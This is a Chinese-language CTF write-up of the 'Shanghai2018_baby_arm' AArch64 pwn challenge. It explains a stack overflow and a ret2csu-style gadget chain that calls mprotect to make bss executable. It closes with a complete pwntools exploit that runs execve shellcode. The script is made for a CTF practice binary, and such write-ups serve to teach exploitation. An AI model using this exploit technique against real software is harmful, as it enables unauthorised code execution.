程序分析-Shanghai2018_baby_arm

惯例checksec

首先看到的是一个64位arm的程序,在使用qemu用户态启动程序时其命令也稍有区别

1
❯ qemu-aarch64 -L /usr/aarch64-linux-gnu/ -g 1234 pwn

运行起来看就是两次输出,接下来我们到ida中来分析

第一次的read是将数据写到了一个bss段中

而第二次read时便出现了很明显的栈溢出漏洞

对此第一个想法就是ret2shellcode 将shellcode写到第一次输入的点中,在第二次输入时控制pc跳转到该地址执行shellcode

但是不尽人意之处便是该地址并无可执行权限,也就是说即使跳转到该地址也无法执行我们的shellcode

此时返回ida继续分析,可以看到程序中还存在一个mprotect函数,这就是我们的转折点,可以利用该函数来讲bss段地址的权限改为可读可写可执行,那样就可以执行我们的shellcode了

漏洞利用

Arch64中类似x86 csu_init的代码段

首先由于程序中找不到可以直接控制x1、x2、x3寄存器的gadgets,因此便只能另辟蹊径,一个类似x86程序中ret2csu的利用手法,通过两个代码段的逐步执行,最终将mprotect的三个参数逐一存放到x1、x2、x3寄存器中。也就是下图中的两段gadget

第一段gadget

其过程大致为将栈中的数据逐步传递给该步骤中几个关键的寄存器 x21、x22、x23、x24

其执行过后的寄存器变化,x30的值便是csu_up 的地址

第二段gadget

通过上一段gadget的寄存器赋值,我们mprotect的参数已经到了x21、x22、x23、x24,通过跳转到4008ac这个第二段gadget后他将会将参数依次传递到x0、x1、x2、x3,寄存器当中

到最后时,还会将x19和x20做比较判断,即上一段中的:

1
payload2 += p64(0) + p64(1) # 0&1 用于后续的csuup 代码段校验CMP X19, X20

最后的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69

from pwn import *
# context.log_level = "debug"
context.arch="aarch64"
fileName = "./pwn"
if context.arch == "aarch64":
libs = "/usr/aarch64-linux-gnu/"
else:
libs = "/usr/arm-linux-gnueabi/"
# sh = process(["qemu-"+context.arch, "-L", libs, fileName])
sh = process(["qemu-"+context.arch,"-g","1234","-L",libs, fileName])
elf = ELF(fileName)
libc = ELF(libs+"lib/libc.so.6")
csu_up = 0x4008AC
# .text:00000000004008AC loc_4008AC ; CODE XREF: sub_400868+60↓j
# .text:00000000004008AC LDR X3, [X21,X19,LSL#3]
# .text:00000000004008B0 MOV X2, X22
# .text:00000000004008B4 MOV X1, X23
# .text:00000000004008B8 MOV W0, W24
# .text:00000000004008BC ADD X19, X19, #1
# .text:00000000004008C0 BLR X3
# .text:00000000004008C4 CMP X19, X20
# .text:00000000004008C8 B.NE loc_4008AC
csu_down = 0x4008CC
# .text:00000000004008CC loc_4008CC ; CODE XREF: sub_400868+3C↑j
# .text:00000000004008CC LDP X19, X20, [SP,#var_s10]
# .text:00000000004008D0 LDP X21, X22, [SP,#var_s20]
# .text:00000000004008D4 LDP X23, X24, [SP,#var_s30]
# .text:00000000004008D8 LDP X29, X30, [SP+var_s0],#0x40
# .text:00000000004008DC RET
shellcode = asm(shellcraft.aarch64.sh())
# /* push '/bin///sh\x00' */
# /* Set x14 = 8299904519029482031 = 0x732f2f2f6e69622f */
# mov x14, #25135
# movk x14, #28265, lsl #16
# movk x14, #12079, lsl #0x20
# movk x14, #29487, lsl #0x30
# mov x15, #104
# stp x14, x15, [sp, #-16]!
# /* execve(path='sp', argv=0, envp=0) */
# mov x0, sp
# mov x1, xzr
# mov x2, xzr
# /* call execve() */
# mov x8, #SYS_execve
# svc 0
### One
#提前放置mprotect和shellcode到输入1中的 &unk_0x411068 这个地址中
mprotect_plt = elf.plt["mprotect"]

payload1 = p64(mprotect_plt)+shellcode
sh.sendlineafter("Name:",payload1)
mprotectPlt_addr = 0x411068 # bss_addr->mprotect_plt
shellcode_addr = 0x411068+8 # bss_addr->shellcode
payload2 = b"a"*72
payload2 += p64(csu_down) # 0x4008cc
payload2 += b"b"*8 # sp -> x29 : ldp x29, x30, [sp], #0x40
payload2 += p64(csu_up) # sp+8 -> x30 : ldp x29, x30, [sp], #0x40
payload2 += p64(0) + p64(1) # 0&1用于后续的csuup 代码段校验 CMP X19, X20
# 执行mprotect函数,即 mprotect(shellcode_addr,p64(0x1000),p64(0x7))
payload2 += p64(mprotectPlt_addr) # sp+0x30 -> x24 -> x3
payload2 += p64(0x7) # sp+0x20 -> x21 -> x2
payload2 += p64(0x1000) # sp+0x28 -> x22 -> x1
payload2 += p64(shellcode_addr) # sp+0x30 -> x23 -> x0
payload2 += b"c"*8
payload2 += p64(shellcode_addr) # 最后在跳转到shellcode处执行
sh.sendline(payload2)
sh.interactive()

附上某大师傅画的过程示意图:

https://blog.csdn.net/qq_41202237/article/details/118518498